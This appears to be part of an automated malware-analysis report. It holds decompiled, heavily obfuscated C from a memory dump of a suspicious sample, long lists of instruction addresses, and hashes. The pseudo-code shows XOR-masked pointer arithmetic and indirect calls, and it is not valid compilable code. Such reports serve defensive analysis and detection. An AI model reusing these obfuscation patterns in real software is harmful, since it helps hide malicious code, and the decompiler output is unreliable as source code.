						_push(_t874);
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) & 0x00000000;
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) | _t874 ^  *_t900 | _t648;
					}
					_pop( *_t202);
					_v40 = _t733;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) & 0x00000000;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) | _t733 & 0x00000000 ^ _v36;
					_t210 = _t672 + 0x41cefe; // 0x41cefe
					 *_t900 = _t210;
					_t645 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					_v40 = _t828;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) & 0x00000000;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) | _t828 - _v40 ^ _t645;
					return _t645;
				}
			}

0x031e3a14
0x031e3a14
0x031e3a14
0x031e3a15
0x031e3a18
0x031e3a1b
0x031e3a1d
0x031e3a20
0x031e3a21
0x031e3a24
0x031e3a27
0x031e3a2a
0x031e3a2d
0x031e3a30
0x031e3a35
0x031e3a35
0x031e3a38
0x031e3a40
0x031e3a44
0x031e3a45
0x031e3a4c
0x031e3a4e
0x031e3a55
0x031e3a5c
0x031e3a5c
0x031e3a67
0x031e4153
0x031e446d
0x031e4473
0x031e447c
0x031e447f
0x031e4486
0x031e448a
0x031e4493
0x031e4494
0x031e4497
0x031e449a
0x031e44a0
0x031e44a7
0x031e44ad
0x031e44b4
0x031e44b7
0x031e44bd
0x031e44c5
0x031e44cc
0x031e44d2
0x031e44d5
0x031e44dc
0x031e44e2
0x031e44e9
0x031e44ec
0x031e44f2
0x031e44fa
0x031e4501
0x031e4507
0x031e450a
0x031e4511
0x031e4517
0x031e451e
0x031e4521
0x031e4528
0x031e452b
0x031e452e
0x031e4534
0x031e453c
0x031e4543
0x031e4549
0x031e4549
0x031e4159
0x031e4159
0x031e415f
0x031e4169
0x031e416c
0x031e4172
0x031e417c
0x031e417f
0x031e418b
0x031e4192
0x031e4198
0x031e4199
0x031e419f
0x031e41a6
0x031e41a9
0x031e41af
0x031e41b6
0x031e41b9
0x031e41c2
0x031e41c5
0x031e41ce
0x031e41d1
0x031e41dd
0x031e41e0
0x031e41e5
0x031e41e9
0x031e41ec
0x031e41ee
0x031e41fc
0x031e41fe
0x031e4201
0x031e4203
0x031e420a
0x031e420e
0x031e4211
0x031e4217
0x031e421e
0x031e4221
0x031e422d
0x031e4234
0x031e423a
0x031e423a
0x031e4240
0x031e4244
0x031e4248
0x031e424b
0x031e4252
0x031e4255
0x031e4258
0x031e4261
0x031e4264
0x031e426a
0x031e4272
0x031e4279
0x031e427f
0x031e4282
0x031e4289
0x031e428c
0x031e428f
0x031e4296
0x031e4299
0x031e429c
0x031e42a3
0x031e42a7
0x031e42aa
0x031e42b1
0x031e42b4
0x031e42b7
0x031e42c6
0x031e42c9
0x031e42d0
0x031e42d6
0x031e42d9
0x031e42e0
0x031e42e6
0x031e42f0
0x031e42f3
0x031e42fa
0x031e42fd
0x031e4300
0x031e4306
0x031e430d
0x031e4310
0x031e431c
0x031e431f
0x031e4322
0x031e4329
0x031e432a
0x031e432d
0x031e432e
0x031e433d
0x031e433f
0x031e4344
0x031e4346
0x031e434c
0x031e4353
0x031e4356
0x031e435c
0x031e4366
0x031e4369
0x031e4369
0x031e4371
0x031e4378
0x031e437e
0x031e437f
0x031e4386
0x031e438d
0x031e4390
0x031e4393
0x031e4399
0x031e43a0
0x031e43a6
0x031e43a9
0x031e43b0
0x031e43b7
0x031e43ba
0x031e43bd
0x031e43c5
0x031e43cc
0x031e43d2
0x031e43d2
0x031e4551
0x031e4555
0x031e4558
0x031e455b
0x031e4562
0x031e4565
0x031e4568
0x031e4571
0x031e4574
0x031e457a
0x031e4584
0x031e4587
0x031e4593
0x031e4596
0x031e4599
0x031e45a0
0x031e45a1
0x031e45a4
0x031e45b2
0x031e45b4
0x031e45b7
0x031e45b9
0x031e45bf
0x031e45c9
0x031e45cc
0x031e45d2
0x031e45dc
0x031e45df
0x031e45e5
0x031e45ec
0x031e45f2
0x031e45f2
0x031e45fe
0x031e4603
0x031e460d
0x031e4611
0x031e4614
0x031e461a
0x031e4621
0x031e4624
0x031e462b
0x031e462e
0x031e4631
0x031e463d
0x031e4644
0x031e464a
0x031e4654
0x031e4657
0x031e465b
0x031e465f
0x031e4662
0x031e4668
0x031e4672
0x031e4675
0x031e4681
0x031e4688
0x031e468e
0x031e4695
0x031e4698
0x031e46a1
0x031e46a5
0x031e46af
0x031e46b2
0x031e46b9
0x031e46bc
0x031e46bf
0x031e46c5
0x031e46cf
0x031e46d2
0x031e46d8
0x031e46e0
0x031e46e7
0x031e46f2
0x031e46f5
0x031e46f8
0x031e4700
0x031e4704
0x031e470a
0x031e4710
0x031e471a
0x031e471d
0x031e4729
0x031e4730
0x031e4736
0x031e4741
0x031e4743
0x031e4744
0x031e474a
0x031e4754
0x031e4757
0x031e475d
0x031e4767
0x031e476a
0x031e4773
0x031e4776
0x031e4781
0x031e4788
0x031e478b
0x031e478e
0x031e4791
0x031e4792
0x031e4793
0x031e47a0
0x031e47a5
0x031e47a7
0x031e47ad
0x031e47b4
0x031e47b7
0x031e47bd
0x031e47c4
0x031e47c7
0x031e47c7
0x031e47cd
0x031e47d4
0x031e47da
0x031e47dd
0x031e47ed
0x031e47f4
0x031e47f7
0x031e47fa
0x031e4800
0x031e4807
0x031e480a
0x031e4812
0x031e4819
0x031e481f
0x031e4820
0x031e4821
0x031e4828
0x031e482b
0x031e482e
0x031e482f
0x031e4832
0x031e4835
0x031e4836
0x031e4839
0x031e483b
0x031e4846
0x031e4848
0x031e4849
0x031e4849
0x031e484d
0x031e4850
0x031e4853
0x031e4856
0x031e4857
0x031e485b
0x031e485c
0x031e485e
0x031e4860
0x031e4861
0x031e4861
0x031e4861
0x031e4868
0x031e486b
0x031e486e
0x031e4875
0x031e4879
0x031e487c
0x031e4883
0x031e4887
0x031e488a
0x031e4890
0x031e4898
0x031e489f
0x031e48a8
0x031e48c1
0x031e3a6d
0x031e3a73
0x031e3a76
0x031e3a79
0x031e3a7f
0x031e3a89
0x031e3a8c
0x031e3a98
0x031e3a9f
0x031e3aa5
0x031e3aa6
0x031e3aad
0x031e3ab0
0x031e3ab3
0x031e3aba
0x031e3abd
0x031e3ac0
0x031e3ac7
0x031e3aca
0x031e3acd
0x031e3ad4
0x031e3ad8
0x031e3adb
0x031e3ae3
0x031e3ae6
0x031e3ae9
0x031e3af0
0x031e3af1
0x031e3af4
0x031e3af5
0x031e3b04
0x031e3b06
0x031e3b0b
0x031e3b0d
0x031e3b14
0x031e3b18
0x031e3b1b
0x031e3b24
0x031e3b27
0x031e3b2d
0x031e3b2f
0x031e3b36
0x031e3b3c
0x031e3b46
0x031e3b4a
0x031e3b4d
0x031e3b50
0x031e3b57
0x031e3b5a
0x031e3b5d
0x031e3b63
0x031e3b6d
0x031e3b70
0x031e3b79
0x031e3b7c
0x031e3b87
0x031e3b8e
0x031e3b91
0x031e3b94
0x031e3b97
0x031e3b98
0x031e3b99
0x031e3ba4
0x031e3ba6
0x031e3bab
0x031e3bad
0x031e3bb3
0x031e3bba
0x031e3bbd
0x031e3bc6
0x031e3bc9
0x031e3bc9
0x031e3bcf
0x031e3bd6
0x031e3bdf
0x031e3be5
0x031e3bef
0x031e3bf2
0x031e3bf8
0x031e3bff
0x031e3c02
0x031e3c08
0x031e3c12
0x031e3c15
0x031e3c1c
0x031e3c20
0x031e3c23
0x031e3c2f
0x031e3c35
0x031e3c39
0x031e3c3c
0x031e3c3f
0x031e3c42
0x031e3c43
0x031e3c44
0x031e3c4a
0x031e3c4d
0x031e3c50
0x031e3c53
0x031e3c55
0x031e3c5c
0x031e3c60
0x031e3c63
0x031e3c69
0x031e3c70
0x031e3c79
0x031e3c7a
0x031e3c7d
0x031e3c80
0x031e3c80
0x031e3c8b
0x031e3c91
0x031e3c94
0x031e3c9b
0x031e3c9f
0x031e3ca2
0x031e3ca8
0x031e3caf
0x031e3cb2
0x031e3cbe
0x031e3cc5
0x031e3ccb
0x031e3ccc
0x031e3cd3
0x031e3cd7
0x031e3cda
0x031e3ce0
0x031e3cea
0x031e3ced
0x031e3cf4
0x031e3cf7
0x031e3cfa
0x031e3d00
0x031e3d0a
0x031e3d0d
0x031e3d15
0x031e3d18
0x031e3d1f
0x031e3d22
0x031e3d25
0x031e3d28
0x031e3d29
0x031e3d2a
0x031e3d39
0x031e3d3b
0x031e3d40
0x031e3d42
0x031e3d48
0x031e3d4f
0x031e3d52
0x031e3d59
0x031e3d5c
0x031e3d65
0x031e3d66
0x031e3d69
0x031e3d6c
0x031e3d6c
0x031e3d7b
0x031e3d84
0x031e3d8b
0x031e3d91
0x031e3d92
0x031e3d9b
0x031e3d9e
0x031e3da4
0x031e3dab
0x031e3dae
0x031e3db4
0x031e3dbe
0x031e3dc1
0x031e3dd0
0x031e3dd7
0x031e3dda
0x031e3ddd
0x031e3de0
0x031e3de1
0x031e3de2
0x031e3ded
0x031e3def
0x031e3df4
0x031e3df6
0x031e3dfd
0x031e3e00
0x031e3e03
0x031e3e0a
0x031e3e0e
0x031e3e11
0x031e3e11
0x031e3e19
0x031e3e20
0x031e3e26
0x031e3e27
0x031e3e27
0x031e3e28
0x031e3e2f
0x031e3e32
0x031e3e35
0x031e3e3c
0x031e3e3f
0x031e3e42
0x031e3e4e
0x031e3e55
0x031e3e5b
0x031e3e5c
0x031e3e63
0x031e3e66
0x031e3e69
0x031e3e72
0x031e3e7b
0x031e3e7c
0x031e3e7f
0x031e3e82
0x031e3e8d
0x031e3e91
0x031e3e94
0x031e3e97
0x031e3e9d
0x031e3ea4
0x031e3ead
0x031e3eae
0x031e3eb1
0x031e3eb4
0x031e3eba
0x031e3ec0
0x031e3eca
0x031e3ecd
0x031e3ed4
0x031e3ed7
0x031e3eda
0x031e3ee0
0x031e3eea
0x031e3eed
0x031e3ef6
0x031e3ef9
0x031e3eff
0x031e3f02
0x031e3f05
0x031e3f0c
0x031e3f10
0x031e3f1e
0x031e3f20
0x031e3f23
0x031e3f25
0x031e3f2b
0x031e3f35
0x031e3f38
0x031e3f3f
0x031e3f43
0x031e3f46
0x031e3f4c
0x031e3f52
0x031e3f59
0x031e3f5f
0x031e3f60
0x031e3f66
0x031e3f6e
0x031e3f75
0x031e3f7e
0x031e3f87
0x031e3f8a
0x031e3f90
0x031e3f98
0x031e3f9f
0x031e3fa8
0x031e3fa8

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction ID: 2288fb77ccb0df679fe8b5582137616fde5291250b061030be4916a7eff1b42b
Opcode Fuzzy Hash: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction Fuzzy Hash: 4B922172844608CFEF04DFA0C889BEEBBF5FF48310F1944AAD889AA145D7395564CF69

Uniqueness

Uniqueness Score: -1.00%

Function 031E5262, Relevance: .7, Instructions: 740
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E031E5262(signed int __ebx, signed int __ecx, void* __edi, signed int __esi) {
				signed int _t430;
				signed int _t432;
				intOrPtr _t438;
				signed int _t441;
				intOrPtr _t443;
				signed int _t445;
				void* _t447;
				signed int _t448;
				signed int _t451;
				signed int _t456;
				signed int _t462;
				void* _t463;
				signed int _t467;
				void* _t469;
				intOrPtr _t470;
				intOrPtr _t473;
				signed int _t475;
				void* _t476;
				signed int _t478;
				signed int _t483;
				signed int _t485;
				signed int _t488;
				signed int _t491;
				signed int _t495;
				void* _t497;
				void* _t498;
				signed int _t501;
				signed int _t506;
				signed int _t511;
				void* _t512;
				signed int _t514;
				void* _t516;
				signed int _t517;
				intOrPtr _t522;
				signed int _t523;
				signed int _t525;
				void* _t527;
				signed int _t528;
				signed int _t532;
				void* _t534;
				signed int _t535;
				signed int _t538;
				signed int _t541;
				intOrPtr _t544;
				signed int _t552;
				signed int _t554;
				void* _t555;
				signed int _t564;
				signed int _t567;
				signed int _t570;
				signed int _t572;
				signed int _t575;
				void* _t577;
				void* _t579;
				signed int _t586;
				signed int _t588;
				void* _t589;
				signed int _t594;
				signed int _t596;
				void* _t599;
				signed int _t601;
				signed int _t603;
				signed int _t609;
				void* _t612;
				signed int _t615;
				signed int _t618;
				signed int _t620;
				signed int _t623;
				signed int _t625;
				signed int _t627;
				signed int _t629;
				signed int _t632;
				signed int _t636;
				signed int _t639;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				signed int _t651;
				signed int _t654;
				signed int _t657;
				void* _t660;
				signed int _t664;
				signed int _t666;
				signed int _t669;
				signed int _t672;
				signed int _t676;
				intOrPtr* _t680;
				signed int _t682;
				signed int _t685;
				signed int _t688;
				void* _t691;
				signed int _t693;
				void* _t694;
				signed int _t696;
				signed int _t701;
				signed int _t702;
				signed int _t705;
				void* _t706;
				signed int _t708;
				signed int _t709;
				signed int _t712;
				signed int _t715;
				signed int _t718;
				signed int _t729;
				signed int _t732;
				signed int _t733;
				signed int _t741;
				signed int _t744;
				void* _t745;
				signed int _t747;
				signed int* _t757;
				signed int* _t758;
				signed int* _t759;
				signed int* _t760;
				signed int* _t761;
				signed int* _t762;
				signed int* _t763;
				signed int* _t764;

				_t701 = __esi;
				_t564 = __ebx;
				 *(_t741 - 0x14) = 0;
				_push( *(_t741 - 0x14));
				 *_t757 =  *_t757 ^ __ebx + 0x0041c349;
				_push(_t632);
				 *_t757 =  *_t757 ^ _t632;
				 *_t757 =  *_t757 | __ebx + 0x0041c1b7;
				_t430 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t741 - 0x14) = __ecx;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) & 0x00000000;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) ^ __ecx -  *(_t741 - 0x14) ^ _t430;
				_t676 =  *(__edi + 0x80);
				_t14 = _t564 + 0x41ce92; // 0x41ce92
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 + _t14;
				_t432 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t741 - 0x10) = _t676;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) & 0x00000000;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) ^ _t676 & 0x00000000 ^ _t432;
				 *(_t741 - 0x10) = _t432;
				_push( *((intOrPtr*)(_t741 + 8)) +  *(_t741 - 0x10));
				_pop(_t680);
				_t25 = _t564 + 0x41cade; // 0x41cade
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 ^ _t25;
				_t26 = _t564 + 0x41c3a5; // 0x41c3a5
				_push(__ebx);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 | _t26;
				_t438 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *_t757 = _t741;
				 *((intOrPtr*)(__ebx + 0x41c073)) = _t438;
				_t744 = 0;
				do {
					if( *_t680 != 0) {
						 *_t46 =  *_t680;
						_t702 =  *(_t744 - 0x14);
						_t48 = _t564 + 0x41d32a; // 0x41d32a
						 *_t757 =  *_t757 & 0x00000000;
						 *_t757 =  *_t757 ^ _t48;
						_t49 = _t564 + 0x41cdb4; // 0x41cdb4
						 *_t757 =  *_t757 ^ _t744;
						 *_t757 = _t49;
						_t441 =  *((intOrPtr*)(_t564 + 0x41f068))(_t744, _t744);
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) & 0x00000000;
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) | _t632 & 0x00000000 ^ _t441;
						_t632 = _t632;
					} else {
						_t29 = _t570 + 0x41d076; // 0x41d076
						 *(_t744 - 0x10) = 0;
						 *_t761 =  *_t761 | _t29;
						_t552 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t744 - 0x14) = _t701;
						 *(_t570 + 0x41d0ee) = 0 ^ _t552;
						_push( *(_t680 + 0x10));
						_pop( *_t37);
						_push( *(_t744 - 0x10));
						_pop(_t702);
						_t39 = _t570 + 0x41c2b0; // 0x41c2b0
						 *_t761 = _t39;
						_t554 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) & 0x00000000;
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) | _t744 ^  *_t761 | _t554;
						_t744 = _t744;
					}
					_t636 =  *_t757;
					 *_t757 =  *(_t680 + 0x10);
					_t57 = _t564 + 0x41c661; // 0x41c661
					 *_t757 =  *_t757 ^ _t744;
					 *_t757 =  *_t757 + _t57;
					_t443 =  *((intOrPtr*)(_t564 + 0x41f060))(_t632);
					 *_t757 = _t702;
					 *((intOrPtr*)(_t564 + 0x41d31e)) = _t443;
					_t705 = 0;
					 *_t60 = _t744;
					_t61 = _t564 + 0x41c5b3; // 0x41c5b3
					 *_t757 = _t61;
					_t445 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x10));
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t757 =  *_t757 ^ _t445;
					_t67 = _t564 + 0x41c868; // 0x41c868
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 ^ _t67;
					_t447 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x14));
					 *_t69 = _t680;
					_t586 = 0 ^  *(_t744 - 0x10);
					 *_t71 = _t447;
					 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t586;
					_push( *(_t744 - 0x14));
					_pop(_t448);
					_t682 = _t680;
					 *(_t744 - 0x14) = _t448;
					_t588 = _t586 & 0x00000000 ^ _t448 & 0x00000000 ^  *(_t564 + 0x41c633);
					_t451 =  *(_t744 - 0x14);
					if(_t588 > _t451) {
						_t78 = _t564 + 0x41c5b3; // 0x41c5b3
						 *_t757 = _t78;
						_t80 = _t564 + 0x41c868; // 0x41c868
						 *(_t744 - 0x10) =  *(_t744 - 0x10) & 0x00000000;
						 *_t757 =  *_t757 | _t80;
						_t451 =  *((intOrPtr*)(_t564 + 0x41f064))( *(_t744 - 0x10),  *(_t744 - 0x14));
					}
					 *(_t744 - 0x10) = _t636;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) & 0x00000000;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) | _t636 & 0x00000000 ^ _t451;
					_t639 =  *(_t744 - 0x10);
					 *(_t744 - 0x10) = _t564;
					_t567 =  *(_t744 - 0x10);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t451 & 0x00000000 | _t564 & 0x00000000 ^  *(_t744 + 8);
					_t94 = _t567 + 0x41c812; // 0x41c812
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t94;
					_t95 = _t567 + 0x41ca65; // 0x41ca65
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t95;
					_t456 =  *((intOrPtr*)(_t567 + 0x41f068))(_t588, _t705);
					 *(_t744 - 0x14) = _t682;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) & 0x00000000;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) ^ (_t682 -  *(_t744 - 0x14) | _t456);
					_t685 =  *(_t744 - 0x14);
					 *_t104 = _t588;
					 *_t757 =  *_t757 ^ _t705;
					_push( *((intOrPtr*)(_t744 - 8)));
					_pop(_t706);
					 *((intOrPtr*)(_t744 - 8)) = _t706 +  *(_t744 - 0x10);
					_t708 = 0;
					_t108 = _t567 + 0x41d15d; // 0x41d15d
					 *_t757 =  *_t757 - _t588;
					 *_t757 = _t108;
					_t109 = _t567 + 0x41c260; // 0x41c260
					 *(_t744 - 0x10) = 0;
					 *_t757 =  *_t757 | _t109;
					_push( *((intOrPtr*)(_t567 + 0x41f068))( *(_t744 - 0x10), _t588));
					_pop( *_t113);
					_push( *(_t744 - 0x10));
					_pop( *_t115);
					_push( *((intOrPtr*)(_t685 + 0xc)));
					_pop( *_t117);
					_push( *(_t744 - 0x14));
					_pop(_t589);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t589;
					_t119 = _t567 + 0x41ca52; // 0x41ca52
					 *_t757 =  *_t757 - _t567;
					 *_t757 =  *_t757 + _t119;
					_t462 =  *((intOrPtr*)(_t567 + 0x41f060))(_t567, _t567);
					 *(_t744 - 0x14) = _t639;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) & 0x00000000;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) | _t639 -  *(_t744 - 0x14) ^ _t462;
					_t642 =  *(_t744 - 0x14);
					_t758 = _t757 - 0xfffffffc;
					_push(0);
					 *_t758 =  *_t758 | _t462;
					_push( *_t757);
					_pop(_t463);
					 *_t758 = _t463 +  *(_t744 + 8);
					_t130 = _t567 + 0x41c07f; // 0x41c07f
					 *_t758 = _t130;
					_t467 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *_t758 =  *_t758 - _t642;
					 *_t758 =  *_t758 | _t467;
					_t133 = _t567 + 0x41d248; // 0x41d248
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t758 =  *_t758 | _t133;
					_t469 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x14), _t642);
					_t594 =  *_t758;
					_t759 =  &(_t758[1]);
					 *(_t744 - 0x10) = _t567;
					_push(_t594 + _t469);
					_t570 =  *(_t744 - 0x10);
					_pop(_t470);
					_t596 = _t594 & 0x00000000 ^ _t642 -  *_t759 ^  *(_t570 + 0x41d0e6);
					_t645 = _t642;
					if(_t596 > _t470) {
						_t141 = _t570 + 0x41c07f; // 0x41c07f
						 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
						 *_t759 =  *_t759 + _t141;
						_t145 = _t570 + 0x41d248; // 0x41d248
						 *(_t744 - 0x14) = 0;
						 *_t759 =  *_t759 | _t145;
						_t470 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x10) = _t708;
						 *((intOrPtr*)(_t570 + 0x41cd68)) = _t470;
						_t708 =  *(_t744 - 0x10);
					}
					_pop( *_t152);
					 *_t759 = _t596 & 0x00000000 ^  *(_t744 - 0x10);
					_t599 = _t708;
					_t709 = _t599 +  *(_t744 + 8);
					_t601 = 0;
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t601;
					_t155 = _t570 + 0x41d135; // 0x41d135
					 *_t759 = _t155;
					_t157 = _t570 + 0x41c60e; // 0x41c60e
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t157;
					_t473 =  *((intOrPtr*)(_t570 + 0x41f068))(_t601,  *(_t744 - 0x10), _t470);
					 *(_t744 - 0x14) = _t645;
					 *((intOrPtr*)(_t570 + 0x41c3e6)) = _t473;
					_t648 =  *(_t744 - 0x14);
					_t603 =  *_t759;
					_t760 = _t759 - 0xfffffffc;
					 *_t760 =  *_t760 - _t648;
					 *_t760 =  *_t760 ^ _t603;
					_t162 = _t570 + 0x41c220; // 0x41c220
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t162;
					_t475 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14), _t648);
					 *(_t744 - 0x10) = _t603;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) & 0x00000000;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) ^ (_t603 ^  *(_t744 - 0x10) | _t475);
					_t476 =  *((intOrPtr*)(_t570 + 0x41f054))();
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t476;
					_t176 = _t570 + 0x41c49b; // 0x41c49b
					 *(_t744 - 0x10) = 0;
					 *_t760 =  *_t760 + _t176;
					_t478 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *(_t744 - 0x14) = _t709;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) & 0x00000000;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) | _t709 & 0x00000000 ^ _t478;
					_t712 =  *(_t744 - 0x14);
					_t761 = _t760 - 0xfffffffc;
					 *(_t744 - 0x10) = _t648;
					 *(_t744 - 4) =  *(_t744 - 4) & 0x00000000;
					 *(_t744 - 4) =  *(_t744 - 4) ^ _t648 -  *(_t744 - 0x10) ^ _t478 & 0x00000000 ^  *_t760;
					_t651 =  *(_t744 - 0x10);
					_t193 = _t570 + 0x41c279; // 0x41c279
					 *_t761 = _t193;
					_t195 = _t570 + 0x41d1ea; // 0x41d1ea
					 *_t761 =  *_t761 - _t712;
					 *_t761 = _t195;
					_t483 =  *((intOrPtr*)(_t570 + 0x41f068))(_t712,  *(_t744 - 0x14));
					 *(_t744 - 0x14) =  *(_t744 - 0x10);
					 *(_t570 + 0x41cbc5) = 0 ^ _t483;
					_t609 =  *(_t744 - 0x14);
					do {
						if(( *_t712 & 0x80000000) != 0) {
							_t761[1] =  *_t712;
							_t572 = _t570;
							 *_t761 =  *_t761 ^ _t712;
							 *_t761 =  *_t761 ^ _t572 + 0x0041d099;
							_t485 =  *((intOrPtr*)(_t572 + 0x41f060))(_t744);
							 *_t761 = _t609;
							 *(_t572 + 0x41c24c) = 0 ^ _t485;
							_t612 = 0;
							 *_t299 = _t712;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 + _t572 + 0x41cdd2;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t572 + 0x0041c846;
							_t488 =  *((intOrPtr*)(_t572 + 0x41f068))(_t744, _t685);
							 *(_t744 - 0x10) = _t651;
							 *(_t572 + 0x41c9fe) = 0 ^ _t488;
							_t654 =  *(_t744 - 0x10);
							 *(_t744 - 0xc) =  *(_t744 - 0xc) & 0x0000ffff;
							 *_t761 =  *_t761 ^ _t654;
							 *_t761 =  *_t761 | _t572 + 0x0041c9e4;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 ^ _t572 + 0x0041c746;
							_t491 =  *((intOrPtr*)(_t572 + 0x41f068))(_t654, _t654);
							 *(_t744 - 0x14) = _t654;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) & 0x00000000;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) ^ (_t654 ^  *(_t744 - 0x14) | _t491);
							_t657 =  *(_t744 - 0x14);
						} else {
							_t202 = _t570 + 0x41c8e1; // 0x41c8e1
							 *_t761 =  *_t761 - _t651;
							 *_t761 =  *_t761 | _t202;
							_t525 =  *((intOrPtr*)(_t570 + 0x41f060))(_t651);
							 *(_t744 - 0x10) = 0;
							 *_t761 =  *_t761 | _t525;
							_t206 = _t570 + 0x41c6e2; // 0x41c6e2
							 *_t761 =  *_t761 - _t570;
							 *_t761 =  *_t761 | _t206;
							_t527 =  *((intOrPtr*)(_t570 + 0x41f060))(_t570,  *(_t744 - 0x10));
							_t623 = (_t609 & 0x00000000) +  *_t761;
							_t764 = _t761 - 0xfffffffc;
							 *_t764 =  *_t764 + _t685;
							_t691 = _t527;
							_t528 = _t691 + _t623;
							_t693 = 0;
							 *(_t744 - 0x10) = _t651;
							_t625 = _t623 & 0x00000000 ^ _t651 ^  *(_t744 - 0x10) ^  *(_t570 + 0x41c521);
							_t664 =  *(_t744 - 0x10);
							if(_t625 > _t528) {
								_t212 = _t570 + 0x41c8e1; // 0x41c8e1
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t212;
								_t213 = _t570 + 0x41c6e2; // 0x41c6e2
								 *_t764 = _t213;
								_t528 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x10), _t712);
							}
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) & 0x00000000;
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) ^ (_t744 & 0x00000000 | _t528);
							_t744 = _t744;
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 + _t712;
							_t220 = _t570 + 0x41c266; // 0x41c266
							 *_t764 = _t220;
							_push( *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10), _t528));
							_pop( *_t223);
							_push( *(_t744 - 0x10));
							_pop( *_t225);
							_t729 =  *_t712;
							_t226 = _t570 + 0x41ce1f; // 0x41ce1f
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 ^ _t226;
							_t532 =  *((intOrPtr*)(_t570 + 0x41f060))(_t729);
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 ^ _t532;
							_t230 = _t570 + 0x41c0ad; // 0x41c0ad
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 | _t230;
							_t534 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
							_pop( *_t235);
							_t627 = _t625 & 0x00000000 |  *(_t744 - 0x14);
							 *_t237 = _t534;
							 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t627;
							_push( *(_t744 - 0x10));
							_pop(_t535);
							_t666 = _t664;
							 *(_t744 - 0x10) = _t729;
							_t629 = _t627 & 0x00000000 | _t729 & 0x00000000 ^  *(_t570 + 0x41c765);
